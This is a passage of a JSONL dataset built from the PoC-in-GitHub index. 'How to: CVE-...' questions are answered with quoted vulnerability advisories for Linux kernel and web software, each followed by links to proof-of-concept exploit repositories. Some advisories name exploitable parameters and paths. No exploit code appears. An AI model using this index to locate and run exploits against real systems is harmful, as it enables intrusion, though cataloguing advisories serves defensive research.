behavior can be exploited to perform subsequent insertions in the\\n    HFSC eltree and cause a UAF.\"\\n\\nTo fix both the UAF and the infinite loop, with netem as an hfsc child,\\ncheck explicitly in hfsc_enqueue whether the class is already in the eltree\\nwhenever the HFSC_RSC flag is set.\\n\\n[1] https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=141d34391abbb315d68556b7c67ad97885407547\\n[2] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1572\\n[3] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L677\\n[4] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1574\\n[5] https://lore.kernel.org/netdev/8DuRWwfqjoRDLDmBMlIfbrsZg9Gx50DHJc1ilxsEBNe2D6NMoigR_eIRIG0LOjMc3r10nUUZtArXx4oZBIdUfZQrwjcQhdinnMis_0G7VEk=@willsroot.io/T/#u\n```\n- [0xdevil/CVE-2025-38001](https://github.com/0xdevil/CVE-2025-38001)\n- [khoatran107/cve-2025-38001](https://github.com/khoatran107/cve-2025-38001)\n- [boeseejykbtanke348/CVE-2025-38001](https://github.com/boeseejykbtanke348/CVE-2025-38001)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": true, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155873"}
{"id": "gh_fff0527b1038", "question": "How to: CVE-2025-38089 (2025-06-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nsunrpc: handle SVC_GARBAGE during svc auth processing as auth error\\n\\ntianshuo han reported a remotely-triggerable crash if the client sends a\\nkernel RPC server a specially crafted packet. If decoding the RPC reply\\nfails in such a way that SVC_GARBAGE is returned without setting the\\nrq_accept_statp pointer, then that pointer can be dereferenced and a\\nvalue stored there.\\n\\nIf it's the first time the thread has processed an RPC, then that\\npointer will be set to NULL and the kernel will crash. In other cases,\\nit could create a memory scribble.\\n\\nThe server sunrpc code treats a SVC_GARBAGE return from svc_authenticate\\nor pg_authenticate as if it should send a GARBAGE_ARGS reply. RFC 5531\\nsays that if authentication fails that the RPC should be rejected\\ninstead with a status of AUTH_ERR.\\n\\nHandle a SVC_GARBAGE return as an AUTH_ERROR, with a reason of\\nAUTH_BADCRED instead of returning GARBAGE_ARGS in that case. This\\nsidesteps the whole problem of touching the rpc_accept_statp pointer in\\nthis situation and avoids the crash.\n```\n- [keymaker-arch/NFSundown](https://github.com/keymaker-arch/NFSundown)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155878"}
{"id": "gh_78acfd40bd22", "question": "How to: CVE-2025-38352 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nposix-cpu-timers: fix race between handle_posix_cpu_timers() and posix_cpu_timer_del()\\n\\nIf an exiting non-autoreaping task has already passed exit_notify() and\\ncalls handle_posix_cpu_timers() from IRQ, it can be reaped by its parent\\nor debugger right after unlock_task_sighand().\\n\\nIf a concurrent posix_cpu_timer_del() runs at that moment, it won't be\\nable to detect timer->it.cpu.firing != 0: cpu_timer_task_rcu() and/or\\nlock_task_sighand() will fail.\\n\\nAdd the tsk->exit_state check into run_posix_cpu_timers() to fix this.\\n\\nThis fix is not needed if CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, because\\nexit_task_work() is called before exit_notify(). But the check still\\nmakes sense, task_work_add(&tsk->posix_cputimers_work.work) will fail\\nanyway in this case.\n```\n- [farazsth98/poc-CVE-2025-38352](https://github.com/farazsth98/poc-CVE-2025-38352)\n- [farazsth98/chronomaly](https://github.com/farazsth98/chronomaly)\n- [Crime2/poc-CVE-2025-38352](https://github.com/Crime2/poc-CVE-2025-38352)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155884"}
{"id": "gh_50334d376976", "question": "How to: CVE-2025-38501 (2025-08-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nksmbd: limit repeated connections from clients with the same IP\\n\\nRepeated connections from clients with the same IP address may exhaust\\nthe max connections and prevent other normal client connections.\\nThis patch limit repeated connections from clients with the same IP.\n```\n- [keymaker-arch/KSMBDrain](https://github.com/keymaker-arch/KSMBDrain)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155890"}
{"id": "gh_480df3c7c3a7", "question": "How to: CVE-2025-38676 (2025-08-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\niommu/amd: Avoid stack buffer overflow from kernel cmdline\\n\\nWhile the kernel command line is considered trusted in most environments,\\navoid writing 1 byte past the end of \"acpiid\" if the \"str\" argument is\\nmaximum length.\n```\n- [14mb1v45h/CVE-2025-38676](https://github.com/14mb1v45h/CVE-2025-38676)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155895"}
{"id": "gh_77ab7932636b", "question": "How to: CVE-2025-38678 (2025-09-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nnetfilter: nf_tables: reject duplicate device on updates\\n\\nA chain/flowtable update with duplicated devices in the same batch is\\npossible. Unfortunately, netdev event path only removes the first\\ndevice that is found, leaving unregistered the hook of the duplicated\\ndevice.\\n\\nCheck if a duplicated device exists in the transaction batch, bail out\\nwith EEXIST in such case.\\n\\nWARNING is hit when unregistering the hook:\\n\\n [49042.221275] WARNING: CPU: 4 PID: 8425 at net/netfilter/core.c:340 nf_hook_entry_head+0xaa/0x150\\n [49042.221375] CPU: 4 UID: 0 PID: 8425 Comm: nft Tainted: G S                  6.16.0+ #170 PREEMPT(full)\\n [...]\\n [49042.221382] RIP: 0010:nf_hook_entry_head+0xaa/0x150\n```\n- [guard-wait/CVE-2025-38678_POC](https://github.com/guard-wait/CVE-2025-38678_POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": true, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155900"}
{"id": "gh_c55f1474af25", "question": "How to: CVE-2025-39401 (2025-05-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in mojoomla WPAMS allows Upload a Web Shell to a Web Server.This issue affects WPAMS: from n/a through 44.0 (17-08-2023).\n```\n- [Nxploited/CVE-2025-39401](https://github.com/Nxploited/CVE-2025-39401)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155906"}
{"id": "gh_ac42d87463d7", "question": "How to: CVE-2025-39436 (2025-04-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in aidraw I Draw allows Using Malicious Files. This issue affects I Draw: from n/a through 1.0.\n```\n- [Nxploited/CVE-2025-39436](https://github.com/Nxploited/CVE-2025-39436)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155910"}
{"id": "gh_2202e9eac877", "question": "How to: CVE-2025-39507 (2025-05-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in NasaTheme Nasa Core allows PHP Local File Inclusion. This issue affects Nasa Core: from n/a through 6.3.2.\n```\n- [TheCyberFairy/cve-lfi-lab](https://github.com/TheCyberFairy/cve-lfi-lab)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155914"}
{"id": "gh_c4420b3c1911", "question": "How to: CVE-2025-39538 (2025-04-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in Mathieu Chartier WP-Advanced-Search allows Upload a Web Shell to a Web Server. This issue affects WP-Advanced-Search: from n/a through 3.3.9.3.\n```\n- [Nxploited/CVE-2025-39538](https://github.com/Nxploited/CVE-2025-39538)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155918"}
{"id": "gh_766cc29e55f2", "question": "How to: CVE-2025-39596 (2025-04-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWeak Authentication vulnerability in Quentn.com GmbH Quentn WP allows Privilege Escalation. This issue affects Quentn WP: from n/a through 1.2.8.\n```\n- [Nxploited/CVE-2025-39596](https://github.com/Nxploited/CVE-2025-39596)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155922"}
{"id": "gh_3d898d1dd210", "question": "How to: CVE-2025-39601 (2025-04-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Request Forgery (CSRF) vulnerability in WPFactory Custom CSS, JS & PHP allows Remote Code Inclusion. This issue affects Custom CSS, JS & PHP: from n/a through 2.4.1.\n```\n- [Nxploited/CVE-2025-39601](https://github.com/Nxploited/CVE-2025-39601)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155926"}
{"id": "gh_fece5e56c217", "question": "How to: CVE-2025-39866 (2025-09-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nfs: writeback: fix use-after-free in __mark_inode_dirty()\\n\\nAn use-after-free issue occurred when __mark_inode_dirty() get the\\nbdi_writeback that was in the progress of switching.\\n\\nCPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1\\n......\\npstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\\npc : __mark_inode_dirty+0x124/0x418\\nlr : __mark_inode_dirty+0x118/0x418\\nsp : ffffffc08c9dbbc0\\n........\\nCall trace:\\n __mark_inode_dirty+0x124/0x418\\n generic_update_time+0x4c/0x60\\n file_modified+0xcc/0xd0\\n ext4_buffered_write_iter+0x58/0x124\\n ext4_file_write_iter+0x54/0x704\\n vfs_write+0x1c0/0x308\\n ksys_write+0x74/0x10c\\n __arm64_sys_write+0x1c/0x28\\n invoke_syscall+0x48/0x114\\n el0_svc_common.constprop.0+0xc0/0xe0\\n do_el0_svc+0x1c/0x28\\n el0_svc+0x40/0xe4\\n el0t_64_sync_handler+0x120/0x12c\\n el0t_64_sync+0x194/0x198\\n\\nRoot cause is:\\n\\nsystemd-random-seed                         kworker\\n----------------------------------------------------------------------\\n___mark_inode_dirty                     inode_switch_wbs_work_fn\\n\\n  spin_lock(&inode->i_lock);\\n  inode_attach_wb\\n  locked_inode_to_wb_and_lock_list\\n     get inode->i_wb\\n     spin_unlock(&inode->i_lock);\\n     spin_lock(&wb->list_lock)\\n  spin_lock(&inode->i_lock)\\n  inode_io_list_move_locked\\n  spin_unlock(&wb->list_lock)\\n  spin_unlock(&inode->i_lock)\\n                                    spin_lock(&old_wb->list_lock)\\n                                      inode_do_switch_wbs\\n                                        spin_lock(&inode->i_lock)\\n                                        inode->i_wb = new_wb\\n                                        spin_unlock(&inode->i_lock)\\n                                    spin_unlock(&old_wb->list_lock)\\n                                    wb_put_many(old_wb, nr_switched)\\n                                      cgwb_release\\n                                      old wb released\\n  wb_wakeup_delayed() accesses wb,\\n  then trigger the use-after-free\\n  issue\\n\\nFix this race condition by holding inode spinlock until\\nwb_wakeup_delayed() finished.\n```\n- [byteReaper77/CVE-2025-39866](https://github.com/byteReaper77/CVE-2025-39866)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": true, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155933"}
{"id": "gh_8913f961a375", "question": "How to: CVE-2025-39964 (2025-10-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\ncrypto: af_alg - Disallow concurrent writes in af_alg_sendmsg\\n\\nIssuing two writes to the same af_alg socket is bogus as the\\ndata will be interleaved in an unpredictable fashion.  Furthermore,\\nconcurrent writes may create inconsistencies in the internal\\nsocket state.\\n\\nDisallow this by adding a new ctx->write field that indiciates\\nexclusive ownership for writing.\n```\n- [n1k0oowang/CVE-2025-39964_EXP](https://github.com/n1k0oowang/CVE-2025-39964_EXP)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155941"}
{"id": "gh_483b3cc0c4c2", "question": "How to: CVE-2025-40019 (2025-10-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\ncrypto: essiv - Check ssize for decryption and in-place encryption\\n\\nMove the ssize check to the start in essiv_aead_crypt so that\\nit's also checked for decryption and in-place encryption.\n```\n- [guard-wait/CVE-2025-40019_POC](https://github.com/guard-wait/CVE-2025-40019_POC)\n- [xooxo/CVE-2025-40019-Essiv](https://github.com/xooxo/CVE-2025-40019-Essiv)\n- [0xAtharv/CVE-2025-40019-POC](https://github.com/0xAtharv/CVE-2025-40019-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155946"}
{"id": "gh_234ea48b1632", "question": "How to: CVE-2025-40040 (2025-10-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nmm/ksm: fix flag-dropping behavior in ksm_madvise\\n\\nsyzkaller discovered the following crash: (kernel BUG)\\n\\n[   44.607039] ------------[ cut here ]------------\\n[   44.607422] kernel BUG at mm/userfaultfd.c:2067!\\n[   44.608148] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI\\n[   44.608814] CPU: 1 UID: 0 PID: 2475 Comm: reproducer Not tainted 6.16.0-rc6 #1 PREEMPT(none)\\n[   44.609635] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\\n[   44.610695] RIP: 0010:userfaultfd_release_all+0x3a8/0x460\\n\\n<snip other registers, drop unreliable trace>\\n\\n[   44.617726] Call Trace:\\n[   44.617926]  <TASK>\\n[   44.619284]  userfaultfd_release+0xef/0x1b0\\n[   44.620976]  __fput+0x3f9/0xb60\\n[   44.621240]  fput_close_sync+0x110/0x210\\n[   44.622222]  __x64_sys_close+0x8f/0x120\\n[   44.622530]  do_syscall_64+0x5b/0x2f0\\n[   44.622840]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\\n[   44.623244] RIP: 0033:0x7f365bb3f227\\n\\nKernel panics because it detects UFFD inconsistency during\\nuserfaultfd_release_all().  Specifically, a VMA which has a valid pointer\\nto vma->vm_userfaultfd_ctx, but no UFFD flags in vma->vm_flags.\\n\\nThe inconsistency is caused in ksm_madvise(): when user calls madvise()\\nwith MADV_UNMEARGEABLE on a VMA that is registered for UFFD in MINOR mode,\\nit accidentally clears all flags stored in the upper 32 bits of\\nvma->vm_flags.\\n\\nAssuming x86_64 kernel build, unsigned long is 64-bit and unsigned int and\\nint are 32-bit wide.  This setup causes the following mishap during the &=\\n~VM_MERGEABLE assignment.\\n\\nVM_MERGEABLE is a 32-bit constant of type unsigned int, 0x8000'0000. \\nAfter ~ is applied, it becomes 0x7fff'ffff unsigned int, which is then\\npromoted to unsigned long before the & operation.  This promotion fills\\nupper 32 bits with leading 0s, as we're doing unsigned conversion (and\\neven for a signed conversion, this wouldn't help as the leading bit is 0).\\n& operation thus ends up AND-ing vm_flags with 0x0000'0000'7fff'ffff\\ninstead of intended 0xffff'ffff'7fff'ffff and hence accidentally clears\\nthe upper 32-bits of its value.\\n\\nFix it by changing `VM_MERGEABLE` constant to unsigned long, using the\\nBIT() macro.\\n\\nNote: other VM_* flags are not affected: This only happens to the\\nVM_MERGEABLE flag, as the other VM_* flags are all constants of type int\\nand after ~ operation, they end up with leading 1 and are thus converted\\nto unsigned long with leading 1s.\\n\\nNote 2:\\nAfter commit 31defc3b01d9 (\"userfaultfd: remove (VM_)BUG_ON()s\"), this is\\nno longer a kernel BUG, but a WARNING at the same place:\\n\\n[   45.595973] WARNING: CPU: 1 PID: 2474 at mm/userfaultfd.c:2067\\n\\nbut the root-cause (flag-drop) remains the same.\\n\\n[akpm@linux-foundation.org: rust bindgen wasn't able to handle BIT(), from Miguel]\n```\n- [SpiralBL0CK/CVE-2023-1206-CVE-2025-40040-CVE-2024-49882](https://github.com/SpiralBL0CK/CVE-2023-1206-CVE-2025-40040-CVE-2024-49882)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155955"}
{"id": "gh_b3ee1eb90f4f", "question": "How to: CVE-2025-40547 (2025-11-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA logic error vulnerability exists in Serv-U which when abused could give a malicious actor with access to admin privileges the ability to execute code. \\n\\nThis issue requires administrative privileges to abuse. On Windows deployments, the risk is scored as a medium because services frequently run under less-privileged service accounts by default.\n```\n- [Ashwesker/Ashwesker-CVE-2025-40547](https://github.com/Ashwesker/Ashwesker-CVE-2025-40547)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155959"}
{"id": "gh_3cabb561774e", "question": "How to: CVE-2025-40602 (2025-12-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA local privilege escalation vulnerability due to insufficient authorization in the SonicWall SMA1000 appliance management console (AMC).\n```\n- [rxerium/CVE-2025-40602](https://github.com/rxerium/CVE-2025-40602)\n- [cyberleelawat/CVE-2025-40602](https://github.com/cyberleelawat/CVE-2025-40602)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155964"}
{"id": "gh_1e8639ec1c13", "question": "How to: CVE-2025-40629 (2025-05-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPNETLab 4.2.10 does not properly sanitize user inputs in its file access mechanisms. This allows attackers to perform directory traversal by manipulating file paths in HTTP requests. Specifically, the application is vulnerable to requests that access sensitive files outside the intended directory.\n```\n- [omr00t/CVE-2025-40629](https://github.com/omr00t/CVE-2025-40629)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155968"}
{"id": "gh_b03c0e0a30c1", "question": "How to: CVE-2025-40634 (2025-05-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nStack-based buffer overflow vulnerability in the 'conn-indicator' binary running as root on the TP-Link Archer AX50 router, in firmware versions prior to 1.0.15 build 241203 rel61480. This vulnerability allows an attacker to execute arbitrary code on the device over LAN and WAN networks.\n```\n- [hacefresko/CVE-2025-40634](https://github.com/hacefresko/CVE-2025-40634)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155972"}
{"id": "gh_94a7f0bb6624", "question": "How to: CVE-2025-40677 (2025-09-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSQL injection vulnerability in Summar Software´s Portal del Empleado. This vulnerability allows an attacker to retrieve, create, update, and delete the database by sending a POST request using the parameter “ctl00$ContentPlaceHolder1$filtroNombre” in “/MemberPages/quienesquien.aspx”.\n```\n- [PeterGabaldon/CVE-2025-40677](https://github.com/PeterGabaldon/CVE-2025-40677)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155977"}
{"id": "gh_122abbee7e46", "question": "How to: CVE-2025-40766 (2025-08-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability has been identified in SINEC Traffic Analyzer (6GK8822-1BG01-0BA0) (All versions < V3.0). The affected application runs docker containers without adequate resource and security limitations. This could allow an attacker to perform a denial-of-service (DoS) attack.\n```\n- [FurkanKAYAPINAR/ecs_checker](https://github.com/FurkanKAYAPINAR/ecs_checker)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155982"}
{"id": "gh_080d4566e869", "question": "How to: CVE-2025-40775 (2025-05-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWhen an incoming DNS protocol message includes a Transaction Signature (TSIG), BIND always checks it.  If the TSIG contains an invalid value in the algorithm field, BIND immediately aborts with an assertion failure.\\nThis issue affects BIND 9 versions 9.20.0 through 9.20.8 and 9.21.0 through 9.21.7.\n```\n- [AlexSvobo/nhi-zero-trust-bypass](https://github.com/AlexSvobo/nhi-zero-trust-bypass)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155986"}
{"id": "gh_86d2dbcb6efc", "question": "How to: CVE-2025-41067 (2025-10-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nReachable Assertion vulnerability in Open5GS up to version 2.7.6 allows attackers with connectivity to the NRF to cause a denial of service. An SBI request that deletes the NRF's own registry causes a check that ends up crashing the NRF process and renders the discovery service unavailable.\n```\n- [xvk1t1/Open5GS-CVE-2025-41067-CVE-2025-41068-PoC](https://github.com/xvk1t1/Open5GS-CVE-2025-41067-CVE-2025-41068-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155990"}
{"id": "gh_88bdc486f821", "question": "How to: CVE-2025-41088 (2025-10-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nStored Cross-Site Scripting (XSS) in Xibo Signage's Xibo CMS v4.1.2, due to a lack of proper validation of user input. To exploit the vulnerability, the attacker must create a template in the 'Templates' section, then add a text element in the 'Global Elements' section, and finally modify the 'Text' field in the section with the malicious payload.\n```\n- [Marinafabregat/CVE-2025-41088](https://github.com/Marinafabregat/CVE-2025-41088)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155995"}
{"id": "gh_e5bcc328c516", "question": "How to: CVE-2025-41090 (2025-10-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nmicroCLAUDIA in v3.2.0 and prior has an improper access control vulnerability.\\n\\nThis flaw allows an authenticated user to perform unauthorized actions on other organizations' systems by sending direct API requests. To do so, the attacker can use organization identifiers obtained through a compromised endpoint or deduced manually.\\n\\nThis vulnerability allows access between tenants, enabling an attacker to list and manage remote assets, uninstall agents, and even delete vaccines configurations.\n```\n- [TheMalwareGuardian/brokeCLAUDIA](https://github.com/TheMalwareGuardian/brokeCLAUDIA)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155999"}
{"id": "gh_4fb23e1aa4bb", "question": "How to: CVE-2025-41115 (2025-11-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSCIM provisioning was introduced in Grafana Enterprise and Grafana Cloud in April to improve how organizations manage users and teams in Grafana by introducing automated user lifecycle management.\\n\\nIn Grafana versions 12.x where SCIM provisioning is enabled and configured, a vulnerability in user identity handling allows a malicious or compromised SCIM client to provision a user with a numeric externalId, which in turn could allow to override internal user IDs and lead to impersonation or privilege escalation.\\n\\nThis vulnerability applies only if all of the following conditions are met:\\n- `enableSCIM` feature flag set to true\\n- `user_sync_enabled` config option in the `[auth.scim]` block set to true\n```\n- [Ashwesker/Ashwesker-CVE-2025-41115](https://github.com/Ashwesker/Ashwesker-CVE-2025-41115)\n- [I3r1h0n/GrafanaSCIMalform](https://github.com/I3r1h0n/GrafanaSCIMalform)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156005"}
{"id": "gh_3643f42279af", "question": "How to: CVE-2025-41244 (2025-09-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVMware Aria Operations and VMware Tools contain a local privilege escalation vulnerability. A malicious local actor with non-administrative privileges having access to a VM with VMware Tools installed and managed by Aria Operations with SDMP enabled may exploit this vulnerability to escalate privileges to root on the same VM.\n```\n- [rxerium/CVE-2025-41244](https://github.com/rxerium/CVE-2025-41244)\n- [NULL200OK/CVE-2025-41244](https://github.com/NULL200OK/CVE-2025-41244)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156012"}
{"id": "gh_106229e67437", "question": "How to: CVE-2025-41373 (2025-08-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA SQL injection vulnerability has been found in Gandia Integra Total of TESI from version 2.1.2217.3 to v4.4.2236.1. The vulnerability allows an authenticated attacker to retrieve, create, update and delete databases through the 'idestudio' parameter in /encuestas/integraweb[_v4]/integra/html/view/hislistadoacciones.php.\n```\n- [byteReaper77/CVE-2025-41373](https://github.com/byteReaper77/CVE-2025-41373)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156018"}
